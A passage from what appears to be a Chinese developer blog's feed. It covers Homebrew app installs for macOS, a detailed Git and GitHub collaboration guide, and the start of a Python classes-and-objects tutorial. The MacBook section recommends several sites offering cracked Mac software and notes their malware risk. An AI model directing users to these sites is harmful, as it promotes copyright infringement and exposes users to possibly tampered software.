class="line"></span><br><span class="line"><span class="comment">## 播放器</span></span><br><span class="line">brew install --cask iina</span><br><span class="line"></span><br><span class="line"><span class="comment">## PDF</span></span><br><span class="line">brew install --cask adobe-acrobat-reader</span><br><span class="line"></span><br><span class="line"><span class="comment">## 浏览器</span></span><br><span class="line">brew install --cask google-chrome</span><br><span class="line"></span><br><span class="line"><span class="comment">## 图标库</span></span><br><span class="line">brew install --cask sf-symbols</span><br><span class="line"></span><br><span class="line"><span class="comment">## 鼠标管理</span></span><br><span class="line">brew install mos</span><br></pre></td></tr></table></figure><h2 id="软件下载站">软件下载站</h2><p>建议首先从 homebrew 下载，然后从 appstore 下载，没有再去看官网，最后再去看破解软件。</p><ul><li><a href="https://openalternative.co/">https://openalternative.co/</a> 是一个很有用的网站，可以帮助你找到常用软件的开源替代品。</li><li><a href="https://macked.app/">https://macked.app/</a> 是另一个提供破解版 Mac 软件的网站。它提供了大量的应用程序，包括生产力工具、设计软件、开发工具等。</li><li><a href="https://macwk.cn/">https://macwk.cn/</a> 是一个提供精品 Mac 软件下载的网站，包括许多破解版软件。它每天更新大量 Mac 应用，涵盖了各种类型的软件。</li><li><a href="https://foxirj.com/">https://foxirj.com/</a> 是另一个提供 Mac 破解软件下载的网站。它提供了广泛的软件类别，包括设计工具、开发软件和生产力应用等。</li><li><a href="https://xmac.app/">https://xmac.app/</a> 是一个提供 Mac 破解软件下载的网站。它提供了大量的应用程序，包括生产力工具、设计软件、开发工具等。资源更新较快，大部分来自 TNT team。</li></ul><p>这些软件可能带来安全隐患，因为用户必须信任开发者的签名。如果发布者有恶意，可能会导致严重的问题，如数据泄露或系统损坏。<br>为了减少风险，我采取了一些预防措施。首先，我购买并安装了卡巴斯基等可靠的安全软件，这在一定程度上可以检测和防御潜在的恶意软件。其次，我会仔细研究软件的来源和用户反馈，尽量从信誉较好的网站下载。此外，我会定期备份重要数据，以防万一出现问题。<br>对于学生和初创企业，许多软件公司提供优惠或免费版本，这些都是值得考虑的替代方案。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/macbook/</id>
    <link href="https://www.blog-blockchain.xyz/dev/macbook/"/>
    <published>2024-11-16T17:33:20.000Z</published>
    <summary>分享MacBook Pro使用体验和配置指南，包括硬件选择建议、系统快捷键、开发环境搭建、编程语言安装、实用软件推荐等，帮助开发者快速搭建高效的macOS工作环境。</summary>
    <title>macbook体验</title>
    <updated>2026-02-19T16:18:01.165Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="开源项目参与流程">开源项目参与流程</h2><p>在开源项目或团队协作开发中，使用 GitHub 是一个常见的实践。以下是一套从 Fork 项目到提交 Pull Request（PR）的完整流程，帮助你高效管理代码并与团队或社区协作。</p><h3 id="1-Fork-项目仓库">1. Fork 项目仓库</h3><p>进入项目的 GitHub 页面，点击右上角的 <strong>Fork</strong> 按钮，将该项目仓库复制到自己的 GitHub 账户下。这个 Fork 的副本是你对项目的个人副本，你可以在上面进行改动而不会影响原项目。</p><h3 id="2-Clone-项目到本地">2. Clone 项目到本地</h3><p>在你的 GitHub 账户中找到刚刚 Fork 的仓库，复制仓库的链接。在本地执行以下命令将仓库克隆到你的电脑：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone &lt;your-forked-repo-url&gt;</span><br></pre></td></tr></table></figure><h3 id="3-添加上游仓库-Upstream">3. 添加上游仓库 (Upstream)</h3><p>当你 Fork 了一个仓库后，你的代码会与原项目（官方项目）脱离直接联系。为了能够同步原项目的最新更改，你需要将原项目添加为“上游仓库”。进入克隆的项目文件夹，运行以下命令：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git remote add upstream &lt;original-repo-url&gt;</span><br></pre></td></tr></table></figure><p>然后验证 <code>git remote -v</code>，出现类似下面的内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">origin  https://github.com/your-username/your-repo.git (fetch)</span><br><span class="line">origin  https://github.com/your-username/your-repo.git (push)</span><br><span class="line">upstream  https://github.com/original-user/original-repo.git (fetch)</span><br><span class="line">upstream  https://github.com/original-user/original-repo.git (push)</span><br></pre></td></tr></table></figure><h3 id="4-创建新分支">4. 创建新分支</h3><p>在协作开发中，<strong>不要在 main 分支上直接进行改动</strong>。每个功能或修复都应该单独创建一个分支，便于管理和代码评审。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout -b feature-branch-name</span><br></pre></td></tr></table></figure><p>命名规范：</p><ul><li>功能分支：add-feature-name，例如 add-login-feature</li><li>修复分支：fix-issue-name，例如 fix-login-error</li><li>实验分支：test-experiment-name，例如 test-algorithm-optimization</li></ul><h3 id="5-同步上游仓库的更新">5. 同步上游仓库的更新</h3><p>在开始改动之前，<strong>确保你的代码基于上游的最新版本</strong>，避免提交包含旧代码或引发冲突。切换到你的分支，然后拉取上游项目的最新更新。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git checkout &lt;branch&gt;</span><br><span class="line">git fetch upstream</span><br></pre></td></tr></table></figure><p>随后有2个选择。</p><p>📌使用 <code>git merge upstream/main</code>，将上游分支的改动合并到当前分支，生成一个额外的 merge commit，用于记录合并过程。如果发生冲突，所有冲突会集中到一次解决，并记录在 merge commit 中。提交历史保留分叉点，便于追踪合并记录。优点是快速同步，操作简单。<strong>适合开发过程中本地更新，但不适合提交 PR</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">A --- B --- C (upstream/main)</span><br><span class="line">        \</span><br><span class="line">         D --- E --- M (merge commit)</span><br></pre></td></tr></table></figure><p>📌使用 <code>git rebase upstream/main</code>，会将你的分支的提交（如 D 和 E）“摘下”，然后重新应用到 upstream/main 的最新提交后面，生成新的提交。不会产生 merge commit，历史保持线性，最终结果类似： <code>A --- B --- C --- D' --- E'</code>。<br><strong>推荐用于 PR</strong>，因为：</p><ol><li>提交历史更整洁：不引入额外的 merge commit，适合开源贡献。</li><li>冲突处理细化：每个提交都会单独处理与上游代码的冲突。</li><li>重复操作安全性：多次 rebase 不会产生混乱，每次都会让你的提交位于上游分支的最新代码之后。</li></ol><p>多次执行 <code>git rebase upstream/main</code> 会让你所有的提交都重新排列在官方分支的最新提交之后。比如说下面的操作得到的结果是 <code>A --- B --- E --- C'' --- D'' --- F'</code>。这是因为你的本地提交会被摘下，然后调整顺序后再附加到末尾。（这里的字母表示基于共同起点，新增的commit）。</p><ol><li>第一次 Rebase：C 和 D 提交。上游分支 (upstream/main): A — B，你的分支 (feature): C — D。本地结果是 A — B — C’ — D’ (feature)。</li><li>官方增加 E 后，第二次 Rebase：F的提交。上游分支 (upstream/main): A — B — E，你的分支 (feature): A — B — C’ — D’ — F。本地结果是 A — B — E — C’’ — D’’ — F’。</li></ol><p>一般做法：<strong>在提交 PR 前，始终建议使用 <code>git rebase upstream/main</code> 来保持历史的整洁和线性化</strong>。 如果官方分支频繁更新，定期执行 rebase，确保你的分支与官方最新代码一致。</p><h3 id="6-进行改动并提交">6. 进行改动并提交</h3><p>按照项目的规范进行代码更改、添加功能或修复 bug。完成后，将改动添加并提交：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git commit -m &quot;清晰的提交信息&quot;</span><br></pre></td></tr></table></figure><p>示例提交信息：</p><ul><li><strong>修复 (Fix)</strong>：修复 Bug 或问题，例如 <code>Fix login error in login page</code></li><li><strong>添加 (Add)</strong>：添加新功能或模块，例如 <code>Add user authentication module</code></li><li><strong>修改 (Update)</strong>：改进已有功能或文档，例如 <code>Update README with setup instructions</code></li><li><strong>重构 (Refactor)</strong>：代码结构调整，例如 <code>Refactor authentication module for clarity</code></li><li><strong>删除 (Remove)</strong>：删除不需要的代码或文件，例如 <code>Remove deprecated API call</code></li></ul><p>如果项目涉及到的文件比较多，那么可以加入前缀，比如在哪个包内做的修改。</p><h3 id="7-将更改推送到-Fork-的仓库">7. 将更改推送到 Fork 的仓库</h3><p>推送到远程分支：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git push origin feature-branch-name</span><br></pre></td></tr></table></figure><h3 id="8-创建-Pull-Request-PR">8. 创建 Pull Request (PR)</h3><ol><li>回到你的 GitHub 仓库页面，会看到一个 <strong>Compare &amp; Pull Request</strong> 的按钮，点击它。</li><li>在 Pull Request 页面中，填写你的改动描述，包括做了哪些更改、为什么进行这些更改等。</li><li>提交 Pull Request，等待项目维护者的审核。</li></ol><h3 id="9-与项目维护者沟通">9. 与项目维护者沟通</h3><p>项目维护者可能会对你的 Pull Request 提出建议或要求你修改。根据反馈进行调整，并再次提交到你的分支。更新 PR 时不需要重新创建 PR，直接推送到同一个分支即可 <code>git push origin &lt;branch-name&gt;</code>。</p><h2 id="提交的最佳实践">提交的最佳实践</h2><p>在协作开发中，良好的提交习惯可以大幅提升团队效率，同时让代码历史更加清晰，便于代码审查和问题追踪。</p><h3 id="提交时机">提交时机</h3><p>一般来说，<strong>每个提交应当专注于一个小而清晰的更改</strong>，以下情况是理想的提交时机：</p><ul><li><strong>完成一个小的功能或逻辑</strong>：如实现一个函数、模块或特定的功能。</li><li><strong>修复一个 Bug</strong>：针对特定问题的修复应单独提交，以便追踪问题。</li><li><strong>文档更新</strong>：更新 README、注释或其他文档内容时，单独提交。</li><li><strong>代码重构</strong>：调整代码结构但不影响功能时，例如提高可读性或优化性能。</li><li><strong>测试用例更新</strong>：添加或修改测试用例以验证功能的正确性。</li></ul><p><strong>避免以下频繁提交的情况：</strong></p><ul><li><strong>过于细碎的改动</strong>：如仅修改一行代码，除非是重要的修复。</li><li><strong>未经测试的代码</strong>：在提交之前，应尽量保证代码稳定，或明确标记为“临时提交”以避免误导。</li></ul><h3 id="提交原则"><strong>提交原则</strong></h3><h4 id="保持提交的原子性">保持提交的原子性</h4><p><strong>一个提交完成一项具体的任务</strong>：避免将多个不相关的改动混合在一个提交中，避免“万能提交”。<br>示例：</p><ul><li><strong>错误示例</strong>：将 Bug 修复和功能开发放在一个提交中。</li><li><strong>正确示例</strong>：先提交 <code>Fix login error</code>，再提交 <code>Add JWT authentication</code>。</li></ul><h4 id="定期同步上游代码">定期同步上游代码</h4><p>如果官方分支有更新， 这样可以减少冲突，并确保提交基于最新代码开发。使用以下命令将最新代码与本地分支同步：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git fetch upstream</span><br><span class="line">git rebase upstream/main</span><br></pre></td></tr></table></figure><h4 id="在本地充分测试">在本地充分测试</h4><p>提交前应在本地运行测试，确保改动不会破坏现有功能。如果改动无法完全验证，应明确标记为实验性或草稿提交。</p><h4 id="避免提交多余文件">避免提交多余文件</h4><p>提交前检查是否有无关的临时文件或调试代码。使用 .gitignore 忽略不需要的文件，避免意外提交。</p><h4 id="描述清晰的提交信息">描述清晰的提交信息</h4><p>提交信息应简明扼要，清楚地描述改动内容和原因。以动词开头，如 Fix、Add、Update 等，便于他人快速理解。</p><p>清晰的提交信息有助于团队快速了解改动内容。推荐以下格式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;类型&gt;: &lt;简短描述&gt;</span><br><span class="line"></span><br><span class="line">[可选详细描述]</span><br><span class="line"></span><br><span class="line">&lt;类型&gt; 包括：</span><br><span class="line"></span><br><span class="line">- Fix: 修复问题</span><br><span class="line">- Add: 添加功能</span><br><span class="line">- Update: 修改功能或文档</span><br><span class="line">- Refactor: 重构代码</span><br><span class="line">- Remove: 删除内容</span><br></pre></td></tr></table></figure><p>示例提交信息:</p><ol><li>功能添加。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Add JWT authentication for login module</span><br><span class="line"></span><br><span class="line">- Implement token-based authentication.</span><br><span class="line">- Add middleware to validate tokens in requests.</span><br></pre></td></tr></table></figure><ol start="2"><li>Bug 修复：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Fix null pointer exception in login module</span><br><span class="line"></span><br><span class="line">- Resolve null pointer issue caused by uninitialized variable.</span><br></pre></td></tr></table></figure><ol start="3"><li>文档更新：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Update README with setup instructions</span><br><span class="line"></span><br><span class="line">- Add instructions for setting up local development environment.</span><br></pre></td></tr></table></figure><h3 id="总结">总结</h3><ol><li>保持提交小而清晰：每个提交完成一个明确任务，避免提交过大或内容混杂。</li><li>定期同步代码：在官方分支更新后及时 rebase，减少冲突。</li><li>提交前充分测试：验证改动稳定性，确保代码不会破坏现有功能。</li><li>清晰描述提交信息：让每个提交的目的和内容一目了然，方便协作者审查。</li><li>通过遵循这些最佳实践，你的提交记录将更加有条理，协作者能够更高效地审查和管理代码，同时增强整个代码库的可维护性。</li></ol><h2 id="内部项目开发">内部项目开发</h2><p>当团队成员对主分支（main 或 develop）有直接提交权限时，需要特别注意代码质量、提交规范以及协作流程，避免代码冲突或影响项目稳定性。</p><p>分支策略要清晰：</p><p><strong>主分支 (main)</strong>：仅存放稳定的代码版本。应通过代码评审或 CI/CD 流程自动合并，避免直接提交。<br><strong>开发分支 (develop)</strong>：用于集成团队的开发代码。可以直接提交，但要确保不影响其他人开发。<br><strong>功能分支 (feature-branch)</strong>：每个功能、任务或 Bug 修复应该单独创建一个分支。</p><ol><li>功能的添加、Bug 修复等依然推荐单独创建分支。完成后将分支合并到 develop 或通过 Pull Request (PR) 合并到目标分支，便于管理。</li><li>功能模块化管理，使用功能分支，确保每个功能改动独立，便于后续追溯和回滚。同一时间尽量不要多人修改同一模块，开发团队要多沟通，分配明确的开发任务，避免冲突。</li><li>实现最小化的测试函数。每个新功能或修复提交时，必须附带最小化的测试函数，确保业务逻辑正确。检查 1. 新增的核心功能（如 API 请求返回结果是否正确）；2. 对现有功能的影响（回归测试）。并且比避免测试函数失败的代码提交。</li></ol><h2 id="Git-常用命令">Git 常用命令</h2><h3 id="怎么提交">怎么提交</h3><p>git commit -m：仅提交已在暂存区的文件，不影响未暂存的文件。<br>git commit -am：将所有已跟踪文件的改动添加到暂存区并提交，但不包含新文件。</p><h3 id="合并-Commit">合并 Commit</h3><p><strong>场景一：多个commit合并</strong></p><ol><li><p>找到目标提交的哈希值：首先，使用以下命令查看提交历史，找到要保留的提交（即你希望将后续更改合并到的提交）。<code>git log --oneline</code></p></li><li><p>重置到指定提交：使用 git reset 将分支回退到指定提交。这样会取消指定提交后的所有提交，但保留文件改动在工作区中。<code>git reset --soft &lt;commit-hash&gt;</code><br>其中<code> &lt;commit-hash&gt;</code> 是目标提交的哈希值，例如 abc1234。<br>–soft 参数确保保留所有更改在暂存区，以便进行下一步的合并提交。hard 就会删除，请不要使用！</p></li><li><p>重新提交所有更改：现在，所有更改都在暂存区中，你可以将它们合并为一个新的提交。<code>git commit -m &quot;将所有更改合并为一次提交&quot;</code></p></li></ol><p><strong>场景二：将未提交的更改合并到上一次提交。</strong><br>如果在最近的提交之后还有未提交的更改，并希望将它们合并到该提交中，可以使用 git commit --amend。</p><ol><li>暂存未提交的更改：首先，将所有未提交的更改添加到暂存区。<code>git add .</code></li><li>使用 --amend 更新上一个提交：将这些暂存的更改添加到上一个提交中。<code>git commit --amend -m &quot;更新上一个提交的信息&quot;</code></li><li>这将打开编辑器，允许你修改上一次提交的信息。如果你希望保留原始信息，只需保存并关闭编辑器即可。</li></ol><h3 id="要复原某个文件或者上次提交">要复原某个文件或者上次提交</h3><p>场景一：将文件从暂存区移除，但保留在工作区中，改动还存在，但是 git 不记录。<code>git reset &lt;filename&gt;</code><br>场景二：直接复原文件到上次提交。<code>git checkout -- &lt;filename&gt;</code><br>场景三：直接复原整个项目到上次提交。<code>git reset --hard HEAD</code></p><blockquote><p>合并修改，建议在 IDE 里进行，很方便。更多的遇到的时候再学习吧。</p></blockquote><h3 id="使用Git-模块">使用Git 模块</h3><p>Git 子模块用于管理嵌套的仓库，通常用于依赖项目或共享代码。子模块在主仓库中的文件夹表现为普通目录，但其内容实际上是独立的 Git 仓库。</p><p>子模块在 Git 中通过一些特殊文件和目录进行管理。这些文件记录了子模块的配置信息、关联的远程仓库、当前版本等。</p><p><code>.gitmodules</code> 是一个配置文件，用于描述主仓库中的子模块信息，包含子模块的路径、远程仓库 URL 等。子模块在 .gitmodules 文件中配置后，初始化时会将其信息写入 <code>.git/config</code>。</p><p>当子模块被初始化后，Git 会在主仓库的 <code>.git/modules</code> 目录下为每个子模块创建一个子目录。这些目录存储子模块的元数据，包括配置、对象和引用信息。</p><ol><li><strong>克隆包含子模块的仓库</strong> <code>git clone --recursive &lt;repository-url&gt;</code></li><li><strong>添加子模块</strong> <code>git submodule add &lt;submodule-repo-url&gt; &lt;path&gt;</code></li><li><strong>更新子模块</strong>： <code>git submodule update --remote</code></li><li><strong>移除子模块</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git submodule deinit -f &lt;path&gt;</span><br><span class="line"><span class="built_in">rm</span> -rf .git/modules/&lt;path&gt;</span><br><span class="line">git <span class="built_in">rm</span> -f &lt;path&gt;</span><br></pre></td></tr></table></figure><p>一般用途：</p><ol><li><strong>依赖管理</strong>：如项目需要多个共享库（API、工具库）。</li><li><strong>大型项目</strong>：将不同模块分成多个独立的子仓库，方便团队协作。</li><li><strong>外部代码集成</strong>：如集成开源项目。</li></ol><p>常见问题1：<strong>clone 时忘记使用 --recursive</strong>。可以通过这样补充</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git submodule update --init --recursive</span><br></pre></td></tr></table></figure><ol><li><strong>初始化子模块</strong>：如果子模块未被初始化（即 .git/modules 中没有子模块的相关信息），这个选项会初始化子模块并将其拉取到本地。</li><li><strong>递归处理嵌套子模块</strong>：如果子模块本身还有嵌套的子模块，此选项会确保所有嵌套的子模块也被初始化并更新。</li></ol><p>📌 常见问题2：<strong>需要的版本不一致</strong>，拉取模块的指定版本。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git submodule update --recursive</span><br></pre></td></tr></table></figure><p>常见问题3：<strong>更新模块到最新</strong>。</p><ol><li><p>进入子模块目录：<code>cd submodule1</code></p></li><li><p>切换到远程分支并拉取最新代码：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git checkout main</span><br><span class="line">git pull origin main</span><br></pre></td></tr></table></figure></li><li><p>返回主仓库，并更新子模块的版本记录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> ..</span><br><span class="line">git add submodule1</span><br><span class="line">git commit -m <span class="string">&quot;Update submodule1 to the latest version&quot;</span></span><br></pre></td></tr></table></figure></li></ol><h3 id="忽视文件但不改变仓库">忽视文件但不改变仓库</h3><p>📌在 Git 中，想要排除一些文件但又不影响其他人，可以通过使用本地的 .<code>git/info/exclude</code> 文件。打开 打开 <code>.git/info/exclude</code> 文件，然后里面每一行都会像是 .gitignore 一样，忽视对应的文件。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;.python-version&quot;</span> &gt;&gt; .git/info/exclude</span><br></pre></td></tr></table></figure><p>📌也可以全局配置，无论你在哪个 Git 仓库，该 .gitignore_global 文件中的规则都会生效。</p><p>1️⃣ <strong>创建或编辑全局 .gitignore 文件</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo &quot;.python-version&quot; &gt;&gt; ~/.gitignore_global</span><br></pre></td></tr></table></figure><p>2️⃣ <strong>让 Git 识别这个全局 .gitignore</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git config --global core.excludesfile ~/.gitignore_global</span><br></pre></td></tr></table></figure><p>3️⃣ <strong>验证配置</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git config --global --get core.excludesfile</span><br></pre></td></tr></table></figure><h3 id="合并PR">合并PR</h3><p>我们管理项目，会收到其他的PR。我们追开源项目，可能main还没来得及合并，但是现在就需要使用这个功能，就可以自己的fork合并这个PR。合并 Pull Request（PR）通常涉及以下步骤：</p><ol><li><p>拉取（fetch）远程 PR 分支</p></li><li><p>检查和测试 PR 代码</p></li><li><p>合并 PR 代码到目标分支</p></li><li><p>推送合并结果到远程仓库</p></li></ol><p>1️⃣ 获取远程 PR。把 PR 编号 3952 当作本地的分支 pr-3952</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git fetch upstream pull/3952/head:pr-3952</span><br></pre></td></tr></table></figure><p><strong>2️⃣</strong> 切换到 PR 分支， 运行测试 &amp; 代码审查</p><p>在合并 PR 之前，建议运行测试，确保代码不会破坏 main 分支。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout pr-42</span><br></pre></td></tr></table></figure><p>3️⃣ 合并 PR 到 main</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git checkout main</span><br><span class="line">git merge --no-ff pr-42 -m &quot;Merge PR #42 from feature-branch&quot;</span><br></pre></td></tr></table></figure><p>–no-ff 全称是 no-fast-forward，禁止快进合并，强制创建一个合并提交（merge commit），即使可以进行快进合并（fast-forward merge）。<strong>默认情况下</strong>，如果目标分支（如 main）在合并时 <strong>没有新的提交</strong>，Git 会采用 <strong>快进合并（fast-forward merge）</strong>，不会创建新的合并提交，而是直接把 HEAD 指向合并的分支：</p><p>如果合并时有冲突，建议使用代码编辑器或者IDE，方便编辑。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/git/</id>
    <link href="https://www.blog-blockchain.xyz/dev/git/"/>
    <published>2024-10-29T16:21:20.000Z</published>
    <summary>全面的Git和GitHub协作开发教程，涵盖开源项目贡献流程、分支管理策略、提交规范、子模块使用、PR创建与合并等，为开发者提供完整的版本控制和团队协作指南。</summary>
    <title>GitHub 协作开发指南</title>
    <updated>2026-02-19T16:18:01.164Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="类和对象">类和对象</h2><h3 id="一切都是对象">一切都是对象</h3><p>在 Python 中，“一切皆对象”是一个核心理念。简单来说，<strong>Python 中的所有东西都是对象</strong>，无论是数值、字符串、函数、类，甚至是模块和代码本身。Python 对象有三个特征：<strong>身份</strong>、<strong>类型</strong>和<strong>值</strong>。</p><ul><li><strong>身份</strong>：对象在内存中的地址，可以通过 <code>id()</code> 函数查看，例如 <code>id(obj)</code>。</li><li><strong>类型</strong>：对象的类别，可以通过 <code>type()</code> 函数查看。例如，<code>type(5)</code> 返回 <code>&lt;class 'int'&gt;</code>。</li><li><strong>值</strong>：对象的实际内容或数据，直接调用变量名即可查看。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">i = <span class="number">2</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">id</span>(i))      <span class="comment"># 输出 i 的存储地址</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">type</span>(i))    <span class="comment"># 输出 &lt;class &#x27;int&#x27;&gt;</span></span><br><span class="line"><span class="built_in">print</span>(i)          <span class="comment"># 输出变量 i 的值</span></span><br></pre></td></tr></table></figure><p>一切皆对象意味着我们可以将几乎任何东西赋值给变量或作为参数传递给函数。把任何函数传给一个变量。</p><p>类（Class）与对象（Object）是不同的，类是没初始化的模板，定义了结构和行为；对象是初始化了的实例，内存中有具体的值。</p><ul><li><strong>类</strong>：类是对象的蓝图或模板，用来描述一类事物的通用结构和行为。定义类时，指定了该类对象的属性和方法。</li><li><strong>对象</strong>：对象是类的具体实例，表示某个具体的事物。</li></ul><p>但是从更加一般的角度来说，类也是一种对象，也是有具体的值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">class MyClass:</span><br><span class="line">    pass</span><br><span class="line"></span><br><span class="line">print(id(MyClass))</span><br><span class="line">print(type(MyClass))  # 输出: &lt;class &#x27;type&#x27;&gt;</span><br><span class="line">print(MyClass) # &lt;class &#x27;__main__.MyClass&#x27;&gt;</span><br></pre></td></tr></table></figure><h3 id="重要的基类">重要的基类</h3><p>在 Python 中，<code>type</code> 和 <code>object</code> 是两个核心的基类：</p><ul><li><code>object</code> 是所有类的基类，所有类都继承自 <code>object</code>。</li><li><code>type</code> 是所有类的类型，也就是说，<strong>每个类都是 <code>type</code> 的实例</strong>，包括了 type 本身和 object。</li></ul><p>总的来说，<strong><code>type</code> 是所有类的类型</strong>：每个类都是 <code>type</code> 的实例，包括 <code>MyClass</code>、<code>int</code> 等。</p><p><strong><code>type</code> 也是创建类的工厂</strong>：<code>type</code> 是一种创建类对象的机制，相当于类的构造器。</p><p><strong><code>type</code> 是一个类，且继承自 <code>object</code></strong>：它可以创建类，并且它自己也是一个类，具有类的一切特性。</p><img src="https://cdn.blog-blockchain.xyz/2024/10/8e73fcaf5b18b2aa6b9e420838412076.png" alt="img" style="zoom:50%;" /><h3 id="类的常见属性">类的常见属性</h3><p><code>.__base__</code> 属性表示<strong>当前类的直接基类</strong>，即当前类继承的父类。如果一个类没有显式继承父类，则 <code>.__base__</code> 为 <code>object</code>，因为所有类默认继承自 <code>object</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Parent</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Child</span>(<span class="title class_ inherited__">Parent</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(Child.__base__)  <span class="comment"># 输出: &lt;class &#x27;__main__.Parent&#x27;&gt;</span></span><br><span class="line"><span class="built_in">print</span>(Parent.__base__) <span class="comment"># 输出: &lt;class &#x27;object&#x27;&gt;</span></span><br></pre></td></tr></table></figure><p>在这里，<code>Child.__base__</code> 是 <code>Parent</code>，而 <code>Parent.__base__</code> 是 <code>object</code>，因为 <code>object</code> 是所有类的最终基类。</p><p><code>.__class__</code>表示<strong>当前实例或类的类型</strong>，即这个对象是由哪个类创建的。对于类本身，<code>.__class__</code> 通常会指向 <code>type</code>，因为类对象是 <code>type</code> 的实例。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">obj = MyClass()</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(obj.__class__)   <span class="comment"># 输出: &lt;class &#x27;__main__.MyClass&#x27;&gt;</span></span><br><span class="line"><span class="built_in">print</span>(MyClass.__class__)  <span class="comment"># 输出: &lt;class &#x27;type&#x27;&gt;</span></span><br></pre></td></tr></table></figure><p>在这个示例中，<code>obj.__class__</code> 表明 <code>obj</code> 是 <code>MyClass</code> 的实例，而 <code>MyClass.__class__</code> 表明 <code>MyClass</code> 是 <code>type</code> 